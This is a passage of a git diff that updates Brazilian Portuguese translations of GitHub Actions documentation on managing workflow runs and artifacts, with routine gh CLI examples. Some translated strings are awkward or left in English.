-2. For jobs that need to be canceled, the server sends a cancellation message to all the runner machines with jobs that need to be canceled.
-3. For jobs that continue to run, the server re-evaluates `if` conditions for the unfinished steps. If the condition evaluates to `true`, the step continues to run.
-4. For steps that need to be canceled, the runner machine sends `SIGINT/Ctrl-C` to the step's entry process (`node` for javascript action, `docker` for container action, and `bash/cmd/pwd` when using `run` in a step). If the process doesn't exit within 7500 ms, the runner will send `SIGTERM/Ctrl-Break` to the process, then wait for 2500 ms for the process to exit. If the process is still running, the runner kills the process tree.
-5. After the 5 minutes cancellation timeout period, the server will force terminate all jobs and steps that don't finish running or fail to complete the cancellation process.
+1. Para cancelar a execução do fluxo de trabalho, o servidor avalia novamente as condições `if` para todas as tarefas em execução atualmente. Se a condição for avaliada como `verdadeira`, o trabalho não será cancelado. Por exemplo, a condição `if: always()` seria avaliada como verdadeira e o trabalho continuaria a ser executado. Quando não há nenhuma condição, isso é equivalente à condição `if: success()`, que só é executado se a etapa anterior foi concluída com sucesso.
+2. Para trabalhos que devem ser cancelados, o servidor envia uma mensagem de cancelamento para todas as máquinas dos executores com trabalhos que precisam ser cancelados.
+3. Para os trabalhos que continuam a ser executados, o servidor avalia as condições `if` para as etapas não concluídas. Se a condição for avaliada como `verdadeiro`, a etapa continuará sendo executada.
+4. Para etapas que precisam ser canceladas, a máquina do executor envia `SIGINT/Ctrl-C` para o processo de entrada da etapa (`nó` para ação javascript, `docker` para ação de contêiner e `bash/cmd/pwd` quando estiver usando `execução` em uma etapa). Se o processo não sair em 7500 ms, o executor enviará `SIGTERM/Ctrl-Break` para o processo. Em seguida, espere 2500 ms para que o processo saia. Se o processo ainda estiver em execução, o corredor finalizará abruptamente a árvore do processo.
+5. Após o tempo-limite de cancelamento de 5 minutos, o servidor irá forçar o encerramento de todos os trabalhos e etapas que não terminarem de ser executadas ou não concluírem o processo de cancelamento.
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/deleting-a-workflow-run.md b/translations/pt-BR/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
index 5bdd78e23f..65f1c41c15 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a workflow run
-intro: 'You can delete a workflow run that has been completed, or is more than two weeks old.'
+title: Eliminar execução de um fluxo de trabalho
+intro: Você pode excluir uma execução do fluxo de trabalho que foi concluída ou que tem mais de duas semanas.
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,9 +16,9 @@ versions:
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
-1. To delete a workflow run, use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, and select **Delete workflow run**.
+1. Para excluir a execução de um fluxo de trabalho, use o menu suspenso {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e selecione **Excluir execução de fluxo de trabalho**.
 
-    ![Deleting a workflow run](/assets/images/help/settings/workflow-delete-run.png)
-2. Review the confirmation prompt and click **Yes, permanently delete this workflow run**.
+    ![Eliminar execução de um fluxo de trabalho](/assets/images/help/settings/workflow-delete-run.png)
+2. Revise a solicitação de confirmação e clique em **Sim, excluir permanentemente esta execução do fluxo de trabalho**.
 
-    ![Deleting a workflow run confirmation](/assets/images/help/settings/workflow-delete-run-confirmation.png)
+    ![Excluir uma confirmação de execução de fluxo de trabalho](/assets/images/help/settings/workflow-delete-run-confirmation.png)
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/translations/pt-BR/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
index 7d2434b60a..3938c96037 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
@@ -1,50 +1,43 @@
 ---
-title: Disabling and enabling a workflow
-intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.'
+title: Desabilitar e habilitar um fluxo de trabalho
+intro: 'Você pode desabilitar e habilitar novamente um fluxo de trabalho usando a interface do usuário de {% data variables.product.prodname_dotcom %}, a API REST, ou {% data variables.product.prodname_cli %}.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Disable & enable a workflow
+shortTitle: Desabilitar & habilitar um fluxo de trabalho
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}.
+Desabilitar um fluxo de trabalho permite que você impeça que um fluxo de trabalho seja acionado sem ter de excluir o arquivo do repositório. Você pode facilmente reabilitar o fluxo de trabalho novamente em {% data variables.product.prodname_dotcom %}.
 
-Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful:
+Desabilitar temporariamente um fluxo de trabalho pode ser útil em vários cenários. Estes são alguns exemplos em que desabilitar um fluxo de trabalho pode ser útil:
 
-- A workflow error that produces too many or wrong requests, impacting external services negatively.
-- A workflow that is not critical and is consuming too many minutes on your account.
-- A workflow that sends requests to a service that is down.
-- Workflows on a forked repository that aren't needed (for example, scheduled workflows).
+- Um erro de fluxo de trabalho que produz muitas solicitações ou solicitações erradas, afetando negativamente os serviços externos.
+- Um fluxo de trabalho que não é crítico e está consumindo muitos minutos na sua conta.
+- Um fluxo de trabalho que envia solicitações para um serviço que não está ativo.
+- Fluxos de trabalho em um repositório bifurcado desnecessários (por exemplo, fluxos de trabalho agendados).
 
 {% warning %}
 
-**Warning:** {% data reusables.actions.scheduled-workflows-disabled %}
+**Aviso:** {% data reusables.actions.scheduled-workflows-disabled %}
 
 {% endwarning %}
 
-You can also disable and enable a workflow using the REST API. For more information, see the "[Actions REST API](/rest/reference/actions#workflows)."
+Também é possível desabilitar e habilitar um fluxo de trabalho usando a API REST. Para obter mais informações, consulte a "[Ações da REST API](/rest/reference/actions#workflows)".
 
-## Disabling a workflow
-
-{% include tool-switcher %}
+## Desabilitar um fluxo de trabalho
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to disable.
-![actions select workflow](/assets/images/actions-select-workflow.png)
-1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-![actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab.png)
-1. Click **Disable workflow**.
-![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png)
-The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %} to indicate its status.
-![actions list disabled workflow](/assets/images/help/repository/actions-find-disabled-workflow.png)
+1. Na barra lateral esquerda, clique no fluxo de trabalho que deseja desabilitar. ![ações selecionam fluxo de trabalho](/assets/images/actions-select-workflow.png)
+1. Clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![menu de ações kebab](/assets/images/help/repository/actions-workflow-menu-kebab.png)
+1. Clique **Desabilitar fluxo de trabalho**. ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png) O fluxo de trabalho desabilitado está marcado {% octicon "stop" aria-label="The stop icon" %} para indicar seu status. ![lista de ações desabilitada no fluxo de trabalho](/assets/images/help/repository/actions-find-disabled-workflow.png)
 
 {% endwebui %}
 
@@ -52,7 +45,7 @@ The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+Para desabilitar um fluxo de trabalho, use o subcomando `desabilitar fluxo de trabalho`. Substitua `fluxo de trabalho` pelo nome, ID ou arquivo do fluxo de trabalho que você deseja desabilitar. Por exemplo, `"Verificador de Link"`, `1234567`, ou `"link-check-test.yml"`. Se você não especificar um fluxo de trabalho, {% data variables.product.prodname_cli %} irá retornar um menu interativo para você escolher um fluxo de trabalho.
 
 ```shell
 gh workflow disable <em>workflow</em>
@@ -60,26 +53,22 @@ gh workflow disable <em>workflow</em>
 
 {% endcli %}
 
-## Enabling a workflow
-
-{% include tool-switcher %}
+## Habilitar um fluxo de trabalho
 
 {% webui %}
 
-You can re-enable a workflow that was previously disabled.
+Você pode habilitar novamente um fluxo de trabalho que foi desabilitado anteriormente.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to enable.
-![actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow.png)
-1. Click **Enable workflow**.
-![actions enable workflow](/assets/images/help/repository/actions-enable-workflow.png)
+1. Na barra lateral esquerda, clique no fluxo de trabalho que deseja habilitar. ![ações selecionam um fluxo de trabalho desativado](/assets/images/help/repository/actions-select-disabled-workflow.png)
+1. Clique em **Habilitar o fluxo de trabalho**. ![ações habilitam fluxo de trabalho](/assets/images/help/repository/actions-enable-workflow.png)
 
 {% endwebui %}
 
 {% cli %}
 
-To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+Para habilitar um fluxo de trabalho, use o subcomando `habilitar fluxo de trabalho`. Substitua `fluxo de trabalho` pelo nome, ID ou arquivo do fluxo de trabalho que você deseja habilitar. Por exemplo, `"Verificador de Link"`, `1234567`, ou `"link-check-test.yml"`. Se você não especificar um fluxo de trabalho, {% data variables.product.prodname_cli %} irá retornar um menu interativo para você escolher um fluxo de trabalho.
 
 ```shell
 gh workflow enable <em>workflow</em>
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/pt-BR/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
index 4ab8536d23..c6db849274 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
@@ -1,34 +1,32 @@
 ---
-title: Downloading workflow artifacts
-intro: You can download archived artifacts before they automatically expire.
+title: Fazer o download de artefatos do fluxo de trabalho
+intro: Você pode fazer o download de artefatos arquivados antes que expirem automaticamente.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Download workflow artifacts
+shortTitle: Fazer download dos artefatos do fluxo de trabalho
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)."
+Por padrão, {% data variables.product.product_name %} armazena registros e artefatos de compilação por 90 dias, e você pode personalizar este período de retenção dependendo do tipo de repositório. Para obter mais informações, consulte "[Gerenciar configurações de {% data variables.product.prodname_actions %} para um repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)".
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under **Artifacts**, click the artifact you want to download.
+1. Em **Artefatos**, clique no artefato que deseja baixar.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png)
+    ![Menu suspenso do para fazer download do artefato](/assets/images/help/repository/artifact-drop-down-updated.png)
     {% else %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png)
+    ![Menu suspenso do para fazer download do artefato](/assets/images/help/repository/artifact-drop-down.png)
     {% endif %}
 
 {% endwebui %}
@@ -37,27 +35,27 @@ By default, {% data variables.product.product_name %} stores build logs and arti
 
 {% data reusables.cli.cli-learn-more %}
 
-{% data variables.product.prodname_cli %} will download each artifact into separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory.
+{% data variables.product.prodname_cli %} irá fazer o download de cada artefato em diretórios separados baseados no nome do artefato. Se apenas um único artefato for especificado, ele será extraído para o diretório atual.
 
-To download all artifacts generated by a workflow run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+Para fazer o download de todos os artefatos gerados pela execução de um fluxo de trabalho, use o subcomando `fazer download`. Substitua `run-id` pelo ID da execução do qual você deseja fazer o download dos artefatos. Se você não especificar um `run-id`, {% data variables.product.prodname_cli %} irá retornar um menu interativo para você escolher uma execução recente.
 
 ```shell
 gh run download <em>run-id</em>
 ```
 
-To download a specific artifact from a run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. Replace `artifact-name` with the name of the artifact that you want to download.
+Para fazer o download de um artefato específico de uma execução, use o subcomando `fazer download`. Substitua `run-id` pelo ID da execução do qual você deseja fazer o download dos artefatos. Substitua `artifact-name` pelo nome do artefato que você deseja baixar.
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name</em>
 ```
 
-You can specify more than one artifact.
+Você pode especificar mais de um artefato.
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
 ```
 
-To download specific artifacts across all runs in a repository, use the `run download` subcommand.
+Para fazer o download de artefatos específicos em todas as execuções em um repositório, use o subcomando `fazer download`.
 
 ```shell
 gh run download -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/index.md b/translations/pt-BR/content/actions/managing-workflow-runs/index.md
index 257ecba45f..aea4095bc8 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/index.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing workflow runs
-shortTitle: Managing workflow runs
-intro: 'You can re-run or cancel a workflow, {% ifversion fpt or ghes > 3.0 or ghae %}review deployments, {% endif %}view billable job execution minutes, and download artifacts.'
+title: Gerenciar fluxos de trabalho
+shortTitle: Gerenciar fluxos de trabalho
+intro: 'Você pode executar novamente ou cancelar um fluxo de trabalho, {% ifversion fpt or ghes > 3.0 or ghae %}revisar implantações, {% endif %}visualizar minutas de execução de trabalhos faturáveis e fazer o download de artefatos.'
 redirect_from:
   - /actions/configuring-and-managing-workflows/managing-a-workflow-run
   - /articles/managing-a-workflow-run
@@ -25,5 +25,6 @@ children:
   - /downloading-workflow-artifacts
   - /removing-workflow-artifacts
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/translations/pt-BR/content/actions/managing-workflow-runs/manually-running-a-workflow.md
index 249fc20534..3fed8b6d92 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/manually-running-a-workflow.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/manually-running-a-workflow.md
@@ -1,37 +1,32 @@
 ---
-title: Manually running a workflow
-intro: 'When a workflow is configured to run on the `workflow_dispatch` event, you can run the workflow using the Actions tab on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %}, or the REST API.'
+title: Executando manualmente um fluxo de trabalho
+intro: 'Quando um fluxo de trabalho é configurado para ser executado no evento `workflow_dispatch`, você pode executar o fluxo de trabalho usando a aba de Ações em {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %} ou a API REST.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Manually run a workflow
+shortTitle: Executar um fluxo de trabalho manualmente
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring a workflow to run manually
+## Configurar um fluxo de trabalho para ser executado manualmente
 
-To run a workflow manually, the workflow must be configured to run on the `workflow_dispatch` event. To trigger the `workflow_dispatch` event, your workflow must be in the default branch. For more information about configuring the `workflow_dispatch` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)".
+Para executar um fluxo de trabalho manualmente, o fluxo de trabalho deve ser configurado para ser executado no evento `workflow_dispatch`. Para acionar o evento `workflow_dispatch`, seu fluxo de trabalho deve estar no branch padrão. Para obter mais informações sobre a configuração do evento `workflow_despatch`, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows#workflow_dispatch)".
 
 {% data reusables.repositories.permissions-statement-write %}
 
-## Running a workflow
-
-{% include tool-switcher %}
+## Executando um fluxo de trabalho
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to run.
-![actions select workflow](/assets/images/actions-select-workflow.png)
-1. Above the list of workflow runs, select **Run workflow**.
-![actions workflow dispatch](/assets/images/actions-workflow-dispatch.png)
-1. Use the **Branch** dropdown to select the workflow's branch, and type the input parameters. Click **Run workflow**.
-![actions manually run workflow](/assets/images/actions-manually-run-workflow.png)
+1. Na barra lateral esquerda, clique no fluxo de trabalho que deseja executar. ![ações selecionam fluxo de trabalho](/assets/images/actions-select-workflow.png)
+1. Acima da lista de execuções de fluxo de trabalho, selecione **Executar**de fluxo de trabalho . ![expedição de fluxo de trabalho ações](/assets/images/actions-workflow-dispatch.png)
+1. Use o menu suspenso **Branch** para selecionar o branch do fluxo de trabalho e digite os parâmetros de entrada. Clique em **Executar**de fluxo de trabalho . ![ações executar manualmente fluxo de trabalho](/assets/images/actions-manually-run-workflow.png)
 
 {% endwebui %}
 
@@ -39,31 +34,31 @@ To run a workflow manually, the workflow must be configured to run on the `workf
 
 {% data reusables.cli.cli-learn-more %}
 
-To run a workflow, use the `workflow run` subcommand. Replace the `workflow` parameter with either the name, ID, or file name of the workflow you want to run. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+Para executar um fluxo de trabalho, use o subcomando `execução do fluxo de trabalho`. Substitua o parâmetro `fluxo de trabalho` Pelo nome, ID ou nome do arquivo do fluxo de trabalho que você deseja executar. Por exemplo, `"Verificador de Link"`, `1234567`, ou `"link-check-test.yml"`. Se você não especificar um fluxo de trabalho, {% data variables.product.prodname_cli %} irá retornar um menu interativo para você escolher um fluxo de trabalho.
 
 ```shell
 gh workflow run <em>workflow</em>
 ```
 
-If your workflow accepts inputs, {% data variables.product.prodname_cli %} will prompt you to enter them. Alternatively, you can use `-f` or `-F` to add an input in `key=value` format. Use `-F` to read from a file.
+Se o fluxo de trabalho aceitar entradas, {% data variables.product.prodname_cli %} solicitará que você os insira. Como alternativa, você pode usar `-f` ou `-F` para adicionar uma entrada no formato `key=value`. Use `-F` para ler de um arquivo.
 
 ```shell
 gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt
 ```
 
-You can also pass inputs as JSON by using standard input.
+Você também pode passar as entradas como JSON usando a entrada padrão.
 
 ```shell
 echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json
 ```
 
-To run a workflow on a branch other than the repository's default branch, use the `--ref` flag.
+Para executar um fluxo de trabalho em um branch que não seja o branch padrão do repositório, use o sinalizador`--ref`.
 
 ```shell
 gh workflow run <em>workflow</em> --ref <em>branch-name</em>
 ```
 
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+Para visualizar o progresso da execução do fluxo de trabalho, use o subcomando `executar inspeção` e selecione a execução na lista interativa.
 
 ```shell
 gh run watch
@@ -71,8 +66,8 @@ gh run watch
 
 {% endcli %}
 
-## Running a workflow using the REST API
+## Executar um fluxo de trabalho usando a API REST
 
-When using the REST API, you configure the `inputs` and `ref` as request body parameters. If the inputs are omitted, the default values defined in the workflow file are used.
+When using the REST API, you configure the `inputs` and `ref` as request body parameters. Se as entradas forem omitidas, serão usados os valores-padrão definidos no arquivo de fluxo de trabalho.
 
 For more information about using the REST API, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)."
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/pt-BR/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
index 60aff0be96..3057250dcb 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
@@ -1,6 +1,6 @@
 ---
-title: Re-running workflows and jobs
-intro: You can re-run a workflow run up to 30 days after its initial run.
+title: Reexecutando fluxos de trabalho e trabalhos
+intro: Você pode executar novamente a execução do workflow até 30 dias após sua execução inicial.
 permissions: People with write permissions to a repository can re-run workflows in the repository.
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -15,11 +15,9 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Re-running all the jobs in a workflow
+## Reexecutar todos os trabalhos em um fluxo de trabalho
 
-Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run. 
-
-{% include tool-switcher %}
+A reexecução de um fluxo de trabalho usa o mesmo `GITHUB_SHA` (commit SHA) e `GITHUB_REF` (Git ref) do evento original que acionou a execução do fluxo de trabalho. Você pode executar novamente um fluxo de trabalho por até 30 dias após a execução inicial.
 
 {% webui %}
 
@@ -28,12 +26,10 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4721 or ghec %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**
-    ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
+1. No canto superior direito do fluxo de trabalho, use o menu suspenso **Reexecutar trabalhos** e selecione **Reexecutar todos os trabalhos** ![Menu suspenso reexecutar](/assets/images/help/repository/rerun-checks-drop-down.png)
 {% endif %}
 {% ifversion ghes < 3.3 or ghae %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.
-    ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
+1. No canto superior direito do fluxo de trabalho, use o menu suspenso **Reexecutar trabalhos** e selecione **Reexecutar todos os trabalhos**. ![Menu suspenso Re-run checks (Executar verificações novamente)](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
 {% endif %}
 
 {% endwebui %}
@@ -42,13 +38,13 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 
 {% data reusables.cli.cli-learn-more %}
 
-To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run.  If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
+Para executar novamente um fluxo de trabalho com falha, use o subcomando `executar novamente`. Substitua `run-id` pelo ID da execução com falha que você deseja executar novamente.  Se você não especificar um `run-id`, {% data variables.product.prodname_cli %} irá retornar um menu interativo para você escolher uma execução com falha recente.
 
 ```shell
 gh run rerun <em>run-id</em>
 ```
 
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+Para visualizar o progresso da execução do fluxo de trabalho, use o subcomando `executar inspeção` e selecione a execução na lista interativa.
 
 ```shell
 gh run watch
@@ -57,16 +53,15 @@ gh run watch
 {% endcli %}
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4721 or ghec %}
-### Reviewing previous workflow runs
+### Revisando execuções de workflows anteriores
 
-You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. For more information, see ["Get a workflow run"](/rest/reference/actions#get-a-workflow-run).
+Você pode ver os resultados de suas tentativas anteriores de executar um fluxo de trabalho. Você também pode visualizar execuções de workflows anteriores do fluxo de trabalho usando a API. Para obter mais informações, consulte ["Obter uma execução de workflow"](/rest/reference/actions#get-a-workflow-run).
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Any previous run attempts are shown in the left pane.
-    ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
-1. Click an entry to view its results.
+1. Todas as tentativas anteriores de execução são mostradas no painel esquerdo. ![Reexecutar fluxo de trabalho](/assets/images/help/settings/actions-review-workflow-rerun.png)
+1. Clique em uma entrada para visualizar os resultados.
 
 {% endif %}
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/removing-workflow-artifacts.md b/translations/pt-BR/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
index e08d27650c..182b34be6b 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
@@ -1,22 +1,22 @@
 ---
-title: Removing workflow artifacts
-intro: 'You can reclaim used {% data variables.product.prodname_actions %} storage by deleting artifacts before they expire on {% data variables.product.product_name %}.'
+title: Remover artefatos de fluxo de trabalho
+intro: 'Você pode recuperar o armazenamento de {% data variables.product.prodname_actions %} utilizado, excluindo artefatos antes de expirarem em {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Remove workflow artifacts
+shortTitle: Remover artefatos de fluxo de trabalho
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Deleting an artifact
+## Excluir um artefato
 
 {% warning %}
 
-**Warning:** Once you delete an artifact, it can not be restored.
+**Aviso:** Após a exclusão de um artefato, este não poderá ser restaurado.
 
 {% endwarning %}
 
@@ -28,19 +28,20 @@ shortTitle: Remove workflow artifacts
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under **Artifacts**, click {% octicon "trash" aria-label="The trash icon" %} next to the artifact you want to remove.
+1. Em **Artefatos**, clique em
+{% octicon "trash" aria-label="The trash icon" %} ao lado do artefato que você deseja remover.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact-updated.png)
+    ![Menu suspenso para excluir o artefato](/assets/images/help/repository/actions-delete-artifact-updated.png)
     {% else %}
-    ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact.png)
+    ![Menu suspenso para excluir o artefato](/assets/images/help/repository/actions-delete-artifact.png)
     {% endif %}
 
-## Setting the retention period for an artifact
+## Definir o período de retenção para um artefato
 
-Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% elsif ghae %}"[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)," "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)," or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% endif %}
+Os períodos de retenção para artefatos e registros podem ser configurados no repositório, organização e no nível corporativo. Para obter mais informações, consulte {% ifversion fpt or ghec or ghes %}"[Limites de uso, cobrança e administração](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% elsif ghae %}"[Gerenciando as configurações de {% data variables.product.prodname_actions %} para um repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)," "[Configurando um período de retenção para {% data variables.product.prodname_actions %} para artefatos e registros na sua organização](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)," ou "[Aplicando políticas para {% data variables.product.prodname_actions %} na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% endif %}
 
